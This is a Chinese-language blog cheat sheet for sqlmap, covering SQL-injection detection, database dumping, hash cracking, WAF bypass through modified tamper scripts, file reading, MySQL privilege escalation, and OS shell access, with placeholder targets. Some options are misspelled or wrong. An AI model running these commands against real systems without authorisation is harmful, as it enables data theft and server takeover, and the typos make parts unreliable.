sqlmap实战-1

  • 2019 年 10 月 19 日
  • 笔记

sqlmap实战-1

检测和利用sql注入

python2 sqlmap.py -u "[URL_SQL注入点]" [--batch]

--batch:自动选择sqlmap默认的选择

寻找目标

直接连接数据库

python2 sqlmap.py -d "mysql://[user]:[password]@[ip]:[port]/[dbs]" --banner --dbs --users

数据库操作参数:

--dbs:列举数据库信息

--current-db:当前数据库名

--current-user:当前数据库用户

--users:列举DBMS中所有用户

--passwords:列举DBMA中所有账户和密码

-D [databases] …:指定数据库名,对库进行操作

-T [tables]:指定数据表,对表进行操作

-C [columns]:指定列名,对列进行操作

--tables:列举数据库表的信息

--columns:列举数据表的列名信息

--schema:枚举数据库结构

--count:枚举数据包的项目数

-D/-T/-C/--dbs/--tables/--columns/--schema/--count

联合操作就可以实现对数据库的具体操作

#列举库中的所有表:  -D [库名] --tables  #列举表中的字段名:  -D [库名] -T [表名] --columns

--dump:导出数据

--start:指定开始的行

--stop:指定结束的行

# 导出当前全部的数据表数据  -D [库名] -T [表名] -C [字段名] --count --dump  # 导出部分(范围)数据表数据  -D [库名] -T [表名] -C [字段名] --start {*} --stop {*} --dump

sqlmap技巧

利用注释的方法绕过waf注入

/tamper/halfversionecdmoreckeywords.py:

return match.group().replace(word, "/*!0%s" % word)  # 修改  return match.group().replace(word,"/*!50000%s*/" % word)

/xml/queries.xml:

<cast query="CAST(%s AS CHAR)"/>  <!--修改-->  <cast query="CAST(%s, CHAR)"/>

sqlmap实施注入:

sqlmap.py -u [url] --tamper ./tamper/halfversionecdmoreckeywords.py    sqlmap.py -u [url] --tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py

URL重写SQL注入测试

value1为测试参数,加*符号即可,sqlmap将会测试value1位置是否可以注入

列举并破解密码hash

当用户可以有权限查看用户密码的时候,--password会自动连接并破解hash返回结果

对目标进行爬取

--batch --crawl=3 从目标URL爬取网站

使用hex规避编码导致丢失

sqlmap.py -u [url] --banner --hex -v 3 --parse-errors

--parse-errors:解析和显示响应数据库错误信息

模仿移动端访问目标

sqlmap.py -u [url] --banner --mobile  

--mobile:设定一个移动端的“User-Agent”模仿手机访问URL

智能判断测试

sqlmap.py -u [url] --bath --smart  

--smart:快速判断 为报错注入点进行注入

结合Burp进行注入测试

在Burp——Options——"proxy.Requests"中保存Burp的抓包记录

sqlmap.py -r burp***.txt  

从抓包记录中加载HTTP请求

sqlmap.py -u [url] --data "[*……*]"  

自动填写表单

sqlmap.py -u [url] --forms [……]  

--forms:解析和测试目标URL表单

读取Linux的文件

sqlmap.py -u [url] --file [url]  

延时注入

sqlmap.py -u [url] --technique -T --current-user  sqlmap.py -u [url] --delay 0.5  sqlmap.py -u [url] --safe-freq # 请求两次  

Burp抓包利用sqlmap注入

sqlmap.py -r ***.txt -p [需要注入的参数]  

-p:指定注入参数

sqlmap Cookies注入

默认情况下,sqlmap只支持get/post参数的注入,使用-level参数且数值大于等于2就会检测cookie参数,大概大于3时检查User-Agent和Referer

sqlmap.py -u [url] --cookie [value] --level 3  sqlmap.py -u [url] --cookie [value] --level 3 --tables  sqlmap.py -u [url] --cookie [value] --level 3 -T [表名] --coiumns  ……  

MySQL提权

连接并打开一个交互shell

sqlmap.py -d "mysql://[user]:[password]@[ip]:[port]/[dbs]" --sql-shell  

上传lib_mysqludf_sys到plugin目录

sqlmap.py -d "mysql://[user]:[password]@[ip]:[port]/[dbs]"  --file-write=  

执行shell命令

sqlmap.py -u [url] --os-cmd=[^] #执行cmd命令(Win环境)  sqlmap.py -u [url] --os-shell=[^] #建立交互式的shell